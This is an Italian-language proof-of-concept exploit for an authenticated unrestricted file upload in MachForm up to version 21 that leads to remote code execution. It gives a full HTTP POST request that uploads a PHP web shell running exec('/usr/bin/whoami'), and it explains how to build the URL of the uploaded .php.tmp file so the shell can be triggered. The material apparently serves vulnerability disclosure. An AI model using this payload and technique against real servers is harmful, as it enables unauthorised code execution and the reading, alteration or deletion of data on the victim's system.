
Proof-of-concept exploit per upload di file illimitato autenticato che porta all'esecuzione remota di codice in MachForm fino alla versione 21, con esempi dettagliati di richieste e passaggi di sfruttamento.
MachForm fino alla versione 21 è affetto da un upload di file non limitato (con autenticazione) che porta a esecuzione di codice remota.
L'applicazione offre la possibilità di creare un modulo con funzionalità di upload di file. Mentre per impostazione predefinita i file accettati sono limitati a un sottoinsieme comune sicuro, il creatore del modulo può anche specificare formati aggiuntivi consentiti.
Se un utente con diritti di creazione di moduli realizza un modulo con funzionalità di upload di file in cui il formato "PHP" è consentito, qualsiasi utente non autenticato può sfruttare questo modulo per ottenere esecuzione di codice remota.
Per sfruttare questa vulnerabilità, è necessario avere un modulo con funzionalità di upload di file abilitata e con le estensioni "PHP" consentite.

Una volta soddisfatto questo prerequisito, qualsiasi utente non autenticato può navigare al modulo per sfruttare la vulnerabilità di upload di file.
I file caricati sul modulo, che non sono ancora stati inviati all'interno del modulo, vengono caricati sul server web in una directory predefinita con formato .tmp.

Richiesta:
POST /upload.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl
Content-Type: multipart/form-data; boundary=---------------------------6934955361623015052738262130
Content-Length: 657
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="Filedata"; filename="whoami.php"
Content-Type: application/x-php
<?php
echo 'whoami = '.exec('/usr/bin/whoami');
?>
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="form_id"
62461
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="element_id"
1
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="file_token"
9d96df33b71cadaad638c20f0540da39
-----------------------------6934955361623015052738262130--
Il percorso completo del file caricato può essere costruito utilizzando la richiesta di upload, che contiene tutti i campi necessari:
/data/form_{form_id}/files/element_{element_id}_{file_token}-{file_name}.php.tmp
In questo scenario, l'URL del file caricato sarà il seguente:
/data/form_62461/files/element_1_9d96df33b71cadaad638c20f0540da39-whoami.php.tmp

Una volta ottenuta l'esecuzione di codice remota, è possibile operare direttamente sul server di destinazione, il che consentirebbe di acquisire accesso oltre lo scopo dell'applicazione e permetterebbe di leggere informazioni sensibili o alterare/eliminare componenti principali.